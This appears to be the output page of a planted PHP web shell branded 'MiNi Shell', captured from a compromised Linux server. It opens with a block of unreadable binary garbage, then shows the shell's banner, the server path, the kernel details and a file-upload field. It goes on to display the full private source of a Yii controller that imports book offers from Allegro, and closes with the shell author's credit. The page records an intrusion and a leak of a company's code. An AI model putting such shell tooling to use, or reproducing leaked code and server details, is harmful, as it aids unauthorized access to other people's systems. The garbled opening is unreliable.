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.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/console/controllers/

Linux 9dbcd5f6333d 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/console/controllers/BooksImportController.php

<?php

namespace console\controllers;

use \Yii;
use \yii\console\Controller;
use yii\console\ExitCode;

class BooksImportController extends Controller
{    
    use \common\components\traits\DirectoriesFunctions;
    
    public $testEmail;
    
    public $limit;
    public $offset;
    
    protected $savedImages;
    protected $savedContentsImages;
    
    public function options($actionID)
    {
        switch($actionID) {
            case 'import-from-allegro':
                return ['testEmail', 'limit'];
                break;
            default:
                return [];
        }
    }
    
    public function actionImportFromAllegro()
    {
        $modelImport = \common\models\BooksImportsFromAllegro::find()->orderBy('created_at ASC')->limit(1)->one();        
        if(empty($modelImport)) {
            $this->stdout('Brak danych do przetworzenia.');
            return ExitCode::OK;
        }
        
        if(!\common\models\Companies::find()->where(['id_company' => $modelImport->id_company])->exists()) {
            $modelImport->delete();
            $this->stderr('Zlecenie importu dotyczy firmy już nieistniejącej i zostało usunięte.');
            return ExitCode::NOUSER;
        }
        
        $accessToken = $modelImport->getAccessToken();

        if($accessToken === false) {
            $modelImport->delete();
            $this->stderr('Wygasł czas ważności zarówno tokenu dostępowego jak i tokenu odświeżąjącego - zlecenie importu zostało usunięte.');
            return ExitCode::UNAVAILABLE;
        }
        
        $existsBooks = \common\models\Books::find()
                ->select(['external_id'])
                ->where([
                    'id_company' => $modelImport->id_company,
                    'external_source' => \common\models\types\BookImportSource::ALLEGRO
                ])
                ->asArray()
                ->column();
        $existsBooks = array_combine($existsBooks, $existsBooks);
        
        $categoriesMap = [];
        $modelsBokstoreCategories = \common\models\BookstoreCategories::find()->where(['id_parent_category' => null])->all();
        foreach($modelsBokstoreCategories as $modelBookstoreCategory) {
            if(empty($modelBookstoreCategory->settings['allegro_categories'])) {
                continue;
            }
            foreach($modelBookstoreCategory->settings['allegro_categories'] as $idAllegroCategory) {
                $categoriesMap[$idAllegroCategory][$modelBookstoreCategory->id_category] = $modelBookstoreCategory->id_category;
            }
        }
        unset($modelsBokstoreCategories);
        
        $idDeliveryPriceList = \common\models\Books::find()
                ->select(['id_delivery_price_list'])
                ->where(['id_company' => (int)$modelImport->id_company])
                ->andWhere(['not', ['id_delivery_price_list' => null]])
                ->groupBy('id_delivery_price_list')
                ->orderBy('COUNT(id_delivery_price_list) DESC')
                ->limit(1)
                ->scalar();
        if(empty($idDeliveryPriceList)) {
            $idDeliveryPriceList = \common\models\CompaniesDeliveryPriceLists::find()
                    ->select(['id_price_list'])
                    ->where(['id_company' => (int)$modelImport->id_company])
                    ->limit(1)
                    ->scalar();
        }
        
        $idsOffers = $modelImport->ids_offers;
        
        $limit = !empty($this->limit) ? $this->limit : 5;
        if(count($idsOffers) < $limit) {
            $limit = count($idsOffers);
        }
        
        for($i = 0; $i < $limit; $i++) {
            //pobieramy informacje o ofercie
            $idOffer = $idsOffers[$i];
            
            if(!empty($existsBooks[$idOffer])) {
                unset($idsOffers[$i]);
                continue;
            }
            
            $headers = array(
                'Authorization: Bearer '.$accessToken,
                'Accept: application/vnd.allegro.public.v1+json'
            );

            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, Yii::$app->params['allegroAPI']['apiBaseUrl'].'/sale/offers/'.$idOffer);
            curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_HEADER, 0);

            $result = curl_exec($ch);
            $resultCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            curl_close($ch);

            unset($idsOffers[$i]);
            if($result === false || $resultCode !== 200) {
                $this->stderr('Wystąpił błąd podczas pobierania szczegółów oferty.');
                return ExitCode::UNAVAILABLE;
            }

            $dataBook = json_decode($result, true);
            file_put_contents(Yii::getAlias('@runtime/temp/book.txt'), print_r($dataBook, true));       
//            exit;

            $idCategory = (int)$dataBook['category']['id'];
            
            if(empty($categoriesMap[$idCategory])) {
                unset($idsOffers[$i]);
                continue;
            }
            
            $bookParams = $this->getParsedParams($dataBook['parameters'], $idCategory);
            
            $transaction = Yii::$app->db->beginTransaction();
            
            $modelBook = new \common\models\Books(['scenario' => 'create', 'id_company' => (int)$modelImport->id_company]);
            $modelBook->attributes = $bookParams;
            $modelBook->id_publishing_house = 159; //@todo trzeba ustalić co z tym zrobić
            $modelBook->id_delivery_price_list = !empty($idDeliveryPriceList) ? $idDeliveryPriceList : null; 
            $modelBook->image_filename = null; //@todo poprawić
            $modelBook->lead = 'Pole wymaga uzupełnienia.'; //ustawiane chwilowo - później jest edytowane
            $modelBook->description = 'Pole wymaga uzupełnienia.'; //ustawiane chwilowo - później jest edytowane        
            $price = !empty($dataBook['sellingMode']['price']['amount']) ? $dataBook['sellingMode']['price']['amount'] : $dataBook['sellingMode']['startingPrice']['amount'];
            $modelBook->price = $price;
            if(!empty($modelBook->formats_electronic_version)) {                
                $modelBook->price_electronic_version = $price;
            } else {
                $modelBook->price_paper_version = $price;
            }
            if($dataBook['publication']['status'] === 'ACTIVE') {
                $modelBook->status = \common\models\types\BookStatus::AVAILABLE;
            } elseif($dataBook['publication']['status'] === 'ACTIVATING' || $dataBook['publication']['status'] === 'INACTIVE') {
                $modelBook->status = \common\models\types\BookStatus::TEMPORARILY_UNAVAILABLE;
            } else {
                $modelBook->status = \common\models\types\BookStatus::UNAVAILABLE;
            }
            
            $modelBook->external_source = \common\models\types\BookImportSource::ALLEGRO;
            $modelBook->external_id = (string)$dataBook['id']; //@todo do sprawdzenia
            $flag = $modelBook->validate();
            $flag = $flag && $modelBook->save(false);

            if($flag) {
                $this->savedImages = [];
                $photoOrder = 1;
                if(!empty($dataBook['images'])) {
                    foreach($dataBook['images'] as $key => $image) {
                        $basefileName = mb_substr($image['url'], mb_strrpos($image['url'], '/', mb_strrpos($image['url'], '/') - mb_strlen($image['url']) - 1) + 1);
                        $basefileName = str_replace('/', '-', $basefileName);
                        
                        if($key === 0) {
                            $modelBook->image_filename = \common\models\Books::createImageFileName($basefileName, 'jpg');
                            $model = $modelBook;                            
                        } else {
                            $modelImage = new \common\models\BooksPhotos(['scenario' => 'create']);
                            $modelImage->id_book = $modelBook->id_book;
                            $modelImage->photo_order = $photoOrder;
                            $modelImage->filename = \common\models\BooksPhotos::createFileName($basefileName, 'jpg');                                                      
                            $model = $modelImage;
                            $photoOrder++;  
                        }
                        
                        $targetPath = $model->getImageUrl();
                        $targetDir = dirname($targetPath);
                        $orCreatedDir = false;
                        if(!file_exists($targetDir)) {
                            mkdir($targetDir, 0777, true);
                            $orCreatedDir = true;
                        }
                        
                        $resultOfFileSave = file_put_contents($targetPath, file_get_contents($image['url'])); 
                        if($resultOfFileSave !== false) {
                            $this->savedImages[$image['url']] = $targetPath;                            
                            if($model instanceof \common\models\BooksPhotos) {
                                $flag = $model->validate(['id_book', 'filename', 'title', 'photo_order']);
                            } else {
                                $flag = $model->validate();
                            }                            
                            $flag = $flag && $model->save(false);
                            if(!$flag) {
                                break;
                            }                            
                        } else {
                            if($orCreatedDir === true) {
                                $this->removeDir($targetDir);
                            }
                        }
                    }
                }
            }

            if($flag) {
                list($lead, $description) = $this->getParsedDescription($dataBook['description'], $modelBook->id_book);
                $modelBook->lead = $lead;
                $modelBook->description = $description; 
                $flag = $modelBook->save();
            }

            if($flag) {
                foreach($categoriesMap[$idCategory] as $idBookstoreCategory) {
                    $modelBookHasBookstoreCategory = new \common\models\BooksHasBookstoreCategories();
                    $modelBookHasBookstoreCategory->id_book = $modelBook->id_book;
                    $modelBookHasBookstoreCategory->id_category = $idBookstoreCategory;
                    if($modelBookHasBookstoreCategory->validate() === false || $modelBookHasBookstoreCategory->save(false) === false) {
                        $flag = false;
                        break;
                    }
                }
            }

            //@todo proteza
//            if($flag) {
//                $flag = false;
//            }
            
            if($flag) {
                $transaction->commit();                
                if(!empty($idsOffers)) {
                    $modelImport->ids_offers = $idsOffers;
//                    $modelImport->save(false);
                }                 
            } else {                
                $transaction->rollBack();
                $this->clearSavedImages();
            } 
//            file_put_contents(Yii::getAlias('@runtime/temp/book_description.txt'), $description); 
        }
        
        if(empty($idsOffers)) {
            $modelImport->delete();
            
            $recipientEmail = \common\models\CompaniesContactData::find()
                    ->select(['data_value'])
                    ->where([
                        'id_company' => $modelImport->id_company,
                        'data_type' => \common\models\types\ContactDataType::EMAIL
                    ])
                    ->orderBy('data_order ASC')
                    ->limit(1)
                    ->scalar();
            if(!empty($recipientEmail)) {
                $recipientName = \common\models\Companies::find()->select(['name'])->where(['id_company' => $modelImport->id_company])->scalar();
            }
            
            //wysyłamy email z informacją o zakończonym imporcie książek z Allegro (###MAIL_X###)
//            $mailer = Yii::$app->mailer;
//            $mailer->htmlLayout = false;      
//            $mailer->textLayout = false; 
//            
//            $message = $mailer->compose(
//                [
//                    'html' => 'banner_reminder_html',
//                    'text' => 'banner_reminder_text'
//                ],
//                [
//                    'model' => $modelBanner,
//                    'location' => $bannersLocationsLabels[$modelBanner->location],
//                    'domain' => $portalData['domain'],
//                ]
//            )
//            ->setFrom([Yii::$app->params['noReplyEmail'] => 'System vManager'])
//            ->setSubject(Yii::t('common-mails', 'Zbliża się termin wyłączenia baneru firmy {companyName} na portalu {domain}', ['companyName' => $modelBanner->company->name, 'domain' => $portalData['domain']])); 
//
//            if(!empty($this->testEmail)) {
//                $message->setTo([$this->testEmail => $this->testEmail]);
//                $message->setSubject($message->getSubject().' - dla: '.$recipientEmail.' ('.$recipientName.')');
//            } else {
//                $message->setTo([$recipientEmail => $recipientName]);
//            }
//
//            $this->stdout('Sending email on address: '.$recipientEmail."\r\n");
//
//            $flag = $message->send();
//            $this->stdout(" - ".(($flag) ? 'OK' : 'FAIL')." \n");
//
//            if(!$flag) {
//                $this->stderr('Błąd podczas wysyłania e-maila.');
//                return ExitCode::UNSPECIFIED_ERROR;
//            }
        }
    }
    
    public function actionGetCategoriesParams()
    {
        $modelImport = \common\models\BooksImportsFromAllegro::find()->orderBy('created_at ASC')->limit(1)->one();        
        if(empty($modelImport)) {
            $this->stdout('Brak danych do przetworzenia.');
            return ExitCode::OK;
        }
        
        if(!\common\models\Companies::find()->where(['id_company' => $modelImport->id_company])->exists()) {
            $modelImport->delete();
            $this->stderr('Zlecenie importu dotyczy firmy już nieistniejącej i zostało usunięte.');
            return ExitCode::NOUSER;
        }
        
        $accessToken = $modelImport->getAccessToken();

        if($accessToken === false) {
            $modelImport->delete();
            $this->stderr('Wygasł czas ważności zarówno tokenu dostępowego jak i tokenu odświeżąjącego - zlecenie importu zostało usunięte.');
            return ExitCode::UNAVAILABLE;
        }        

        $categories = file(Yii::getAlias('@runtime/temp/kategorie_allegro.txt'), FILE_IGNORE_NEW_LINES);
        foreach($categories as $category) {
            $idCategory = (int)mb_substr($category, mb_strrpos($category, '-')+1);
//            var_dump($idCategory);
//            var_dump($category);
//            exit;
            $dataParams = $modelImport->getParamsForCategory($idCategory, $accessToken);
            file_put_contents(Yii::getAlias('@runtime/temp/categories_params/'.$category.'.data'), serialize($dataParams));
            file_put_contents(Yii::getAlias('@runtime/temp/categories_params/'.$category.'.txt'), print_r($dataParams, true)); 
        }
    }
    
    public function actionAnalyzeCategoriesParams()
    {
        $existsCollections = \yii\helpers\ArrayHelper::getColumn(Yii::$app->mongodb->getDatabase('base_db')->listCollections(), 'name');
        if(in_array('bookstore_allegro_params', $existsCollections)) {
            Yii::$app->mongodb->getCollection('bookstore_allegro_params')->drop();
        }
        
        $params = [];
        
        $dir = new \DirectoryIterator(Yii::getAlias('@runtime/temp/categories_params/'));
        foreach($dir as $fileinfo) {
            if(($fileinfo->isFile() || $fileinfo->isLink()) && $fileinfo->getExtension() === 'data') {
                $data = unserialize(file_get_contents(Yii::getAlias('@runtime/temp/categories_params/').$fileinfo->getFilename()));
                $data = $data['parameters'];
                
                if(empty($data) || !is_array($data)) {
                    continue;
                }
//                 
                foreach($data as $item) {
                    $params[$item['id']] = $item;
                }
            }
        }
        unset($dir, $fileinfo);
        
        var_dump(count($params));
        
        file_put_contents(Yii::getAlias('@runtime/temp/all_params.txt'), print_r($params, true)); 
    }
    
    protected function getParsedParams($params, $idCategory)
    {
        $outputParams = [];
        $tempParams = [];
        foreach($params as $param) {
            switch($param['id']) {
                case '223545':                    
                    $outputParams['title'] = \yii\helpers\Html::encode($param['values'][0]);
                    break;
                case '245669':  
                case '225693':
                case '245673':
                    $outputParams['isbn'] = \yii\helpers\Html::encode($param['values'][0]);
                    break;
                case '223489':
                    $stringLength = 0;
                    $authors = [];                    
                    foreach($param['values'] as $value) {
                        $value = \yii\helpers\Html::encode($value);
                        $stringLength += mb_strlen($value) + mb_strlen(', ');
                        if($stringLength <= 255) {
                            $authors[] = $value;
                        }
                    }
                    $outputParams['author'] = implode(', ', $authors);
                    break;
                case '75':
                    $outputParams['or_hardcover'] = $param['valuesIds'][0] === '75_2' || $param['valuesIds'][0] === '75_4' ? 1 : 0;
                    break;
                case '7773':
                    $outputParams['or_hardcover'] = in_array($param['valuesIds'][0], ['7773_3', '7773_4']) ? 1 : 0;
                    break;
                case '74':
                    $outputParams['release_date'] = (int)$param['values'][0].'-01-01';
//                    $outputParams['release_date_paper_version'] = (int)$param['values'][0].'-01-01';
//                    $outputParams['release_date_electronic_version'] = (int)$param['values'][0].'-01-01';
                    break;
                case '17448':
                    $outputParams['weight_paper_version'] = (float)$param['values'][0];
                    break;
                case '223333':
                case '221505':
                    if(empty($tempParams['width'])) {
                        $tempParams['width'] = (float)$param['values'][0];
                    }
                    break;
                case '223329':
                case '221509':
                    if(empty($tempParams['height'])) {
                        $tempParams['height'] = (float)$param['values'][0];
                    }
                    break;
                case '77':
                    switch($param['valuesIds'][0]) {
                        case '77_1':
                            $outputParams['release_cycle'] = 'dziennik';
                            break;
                        case '77_2':
                            $outputParams['release_cycle'] = 'tygodnik';
                            break;
                        case '77_3':
                            $outputParams['release_cycle'] = 'dwutygodnik';
                            break;
                        case '77_4':
                            $outputParams['release_cycle'] = 'miesięcznik';
                            break;
                        case '77_326001':
                            $outputParams['release_cycle'] = 'dwumiesięcznik';
                            break;
                        case '77_5':
                            $outputParams['release_cycle'] = 'kwartalnik';
                            break;
                        case '77_7':
                            $outputParams['release_cycle'] = 'nieregularna';
                            break;
                        case '77_8':
                            $outputParams['release_cycle'] = 'wydanie specjalne';
                            break;
                    }
                    break;
                case '223493':
                    $outputParams['number_of_pages'] = (int)$param['values'][0];
                    break;
                case '26908':
                    $stringLength = 0;
                    $formats = [];                    
                    foreach($param['valuesIds'][0] as $idValue) {
                        switch($param['valuesIds'][0]) {
                            case '26908_1':
                                $stringLength += mb_strlen('epub') + mb_strlen(', ');
                                if($stringLength <= 255) {
                                    $authors[] = 'epub';
                                }
                                $outputParams['formats_electronic_version'] = 'epub';
                                break;
                            case '26908_2':
                                $stringLength += mb_strlen('mobi') + mb_strlen(', ');
                                if($stringLength <= 255) {
                                    $authors[] = 'mobi';
                                }
                                $outputParams['formats_electronic_version'] = 'mobi';
                                break;
                            case '26908_4':
                                $stringLength += mb_strlen('pdf') + mb_strlen(', ');
                                if($stringLength <= 255) {
                                    $authors[] = 'pdf';
                                }
                                $outputParams['formats_electronic_version'] = 'pdf';
                                break;
                        }
                    }
                    $outputParams['formats_electronic_version'] = implode(', ', $formats);   
                    $outputParams['or_electronic_version'] = 1;
                    break;
                case '4966':
                    switch($param['valuesIds'][0]) {
                        case '4966_4':
                        case '4966_8':
                            $outputParams['book_type'] = \common\models\types\BookType::GUIDE;
                            break;
                    }
                    break;
                case '221501':
                    if(empty($outputParams['dimensions_paper_version'])) {
                        switch($param['valuesIds'][0]) {
                            case '221501_296189': //A4
                                $outputParams['dimensions_paper_version'] = 'A4 (210x297 mm)';
                                break;
                            case '221501_296193': //A5
                                $outputParams['dimensions_paper_version'] = 'A5 (148x210 mm)';
                                break;
                            case '221501_296197': //A6
                                $outputParams['dimensions_paper_version'] = 'A6 (105x148 mm)';
                                break;
                            case '221501_296201': //A7
                                $outputParams['dimensions_paper_version'] = 'A7 (74x105 mm)';
                                break;
                            case '221501_296205': //A8
                                $outputParams['dimensions_paper_version'] = 'A8 (52x74 mm)';
                                break;
                            case '221501_296209': //B5
                                $outputParams['dimensions_paper_version'] = 'B5 (176x250 mm)';
                                break;
                            case '221501_296213': //B6
                                $outputParams['dimensions_paper_version'] = 'B6 (125x176 mm)';
                                break;
                            case '221501_296217': //B7
                                $outputParams['dimensions_paper_version'] = 'B7 (88x125 mm)';
                                break;
                        }
                        break;
                    }
                    break;
                case '2872':
                    if(empty($outputParams['dimensions_paper_version'])) {
                        switch($param['valuesIds'][0]) {
                            case '2872_1': //A4
                                $outputParams['dimensions_paper_version'] = 'A4 (210x297 mm)';
                                break;
                            case '2872_2': //A5
                                $outputParams['dimensions_paper_version'] = 'A5 (148x210 mm)';
                                break;
                            case '2872_3': //A6
                                $outputParams['dimensions_paper_version'] = 'A6 (105x148 mm)';
                                break;
                            case '2872_296169': //A7
                                $outputParams['dimensions_paper_version'] = 'A7 (74x105 mm)';
                                break;
                            case '2872_296173': //A8
                                $outputParams['dimensions_paper_version'] = 'A8 (52x74 mm)';
                                break;
                            case '2872_296177': //B5
                                $outputParams['dimensions_paper_version'] = 'B5 (176x250 mm)';
                                break;
                            case '2872_296181': //B6
                                $outputParams['dimensions_paper_version'] = 'B6 (125x176 mm)';
                                break;
                            case '2872_296185': //B7
                                $outputParams['dimensions_paper_version'] = 'B7 (88x125 mm)';
                                break;
                        }
                        break;
                    }
                    break;
                case '5126':
                    $stringLength = 0;
                    $formats = [];                    
                    foreach($param['valuesIds'][0] as $idValue) {
                        switch($param['valuesIds'][0]) {
                            case '5126_1':
                                $outputParams['or_hardcover'] = 1;
                                break;
                            case '5126_2':
                                $outputParams['or_color_paper_version'] = 0;
                                $outputParams['or_color_electronic_version'] = 0;
                                break;
                            case '5126_4':
                                $outputParams['or_chalk_paper'] = 1;
                                break;
                        }
                    }
                    $outputParams['formats_electronic_version'] = implode(', ', $formats);   
                    $outputParams['or_electronic_version'] = 1;
                    break;
            }
            
            if(!empty($tempParams['width']) && !empty($tempParams['height']) && empty($outputParams['dimensions_paper_version'])) {
                $outputParams['dimensions_paper_version'] = (float)$tempParams['width'].'x'.(float)$tempParams['height'].' cm';
            }
        }
        
        if(empty($outputParams['book_type'])) {
            switch($idCategory) {
                case '118':
                    $outputParams['book_type'] = \common\models\types\BookType::MAGAZINE;
                    break;
                case '79193':
                    $outputParams['book_type'] = \common\models\types\BookType::GUIDE;
                    break;
                default:
                    $outputParams['book_type'] = \common\models\types\BookType::BOOK;
                    break;
            }
        }
        
        //ebooki
        $idsCategoriesForEbooks = ['261380', '250111', '261381', '251822', '250109', '261389', '261385', '261390', '250108', '250103', '261393', '261388', '250105', '261384', '250107', '261391', '261394', '250106', '261382', '261395', '261392', '261387', '250102'];        
        if(in_array($idCategory, $idsCategoriesForEbooks)) {
            $outputParams['or_electronic_version'] = 1;
            $outputParams['or_paper_version'] = 0;
        }
        
        return $outputParams;
    }
    
    protected function getParsedDescription($descriptionParts, $idBook)
    {
        if(empty($descriptionParts['sections'])) {
            return ['', ''];
        }
        
        $outputDescription = '';
        $outputLead = '';
        
        foreach($descriptionParts['sections'] as $section) {
            $colMd = (int)(ceil(12 / count($section['items'])));
            $outputDescription .= '<div class="row">';
            foreach($section['items'] as $item) {
                $outputDescription .= '<div class="col-md-'.$colMd.'">';
                if($item['type'] === 'TEXT') {
                    $outputDescription .= $item['content'];
                } elseif($item['type'] === 'IMAGE') {
                    if(!isset($this->savedContentsImages[$item['url']])) {
                        $sourcePath = $this->savedImages[$item['url']];
                        $targetPath = Yii::getAlias('@sourcesRealPath').'/'.Yii::getAlias('@booksContentsImagesDirName').'/'.$idBook.'/'.basename($sourcePath);
                        $flag = $this->copyFile($sourcePath, $targetPath);
                        if($flag) {
                            $this->savedContentsImages[$item['url']]['realPath'] = $targetPath;
                            $this->savedContentsImages[$item['url']]['url'] = str_replace(Yii::getAlias('@sourcesRealPath'), Yii::getAlias('@sourcesUrl'), $targetPath);                           
                        } else {
                            continue;
                        } 
                    }                    
//                    list($imageWidth, $imageHeight, $type, $attr) = getimagesize($this->savedContentsImages[$item['url']]['realPath']);
                    $outputDescription .= '<img src="'.$this->savedContentsImages[$item['url']]['url'].'" alt="'.basename($this->savedContentsImages[$item['url']]['realPath']).'">';
                }
                $outputDescription .= '</div>';
            }
            
            $outputDescription .= '</div>';
        }
        
        $outputLead = \yii\helpers\StringHelper::truncate(strip_tags($outputDescription), 300); //@todo do ustalenia
        
        return [$outputLead, $outputDescription];
    }
    
    protected function clearSavedImages()
    {        
        $directories = [];
        if(!empty($this->savedImages)) {
            foreach($this->savedImages as $imagePath) {
                $directories[dirname($imagePath)] = dirname($imagePath);
            }
        }
        
        if(!empty($this->savedContentsImages)) {            
            foreach($this->savedContentsImages as $image) {
                $directories[dirname($image['realPath'])] = dirname($image['realPath']);
            }
        }
        
        if(!empty($directories)) {
            foreach($directories as $directory) {
                $this->removeDir($directory, true);
            }
        }
    }
}

Creat By MiNi SheLL
Email: jattceo@gmail.com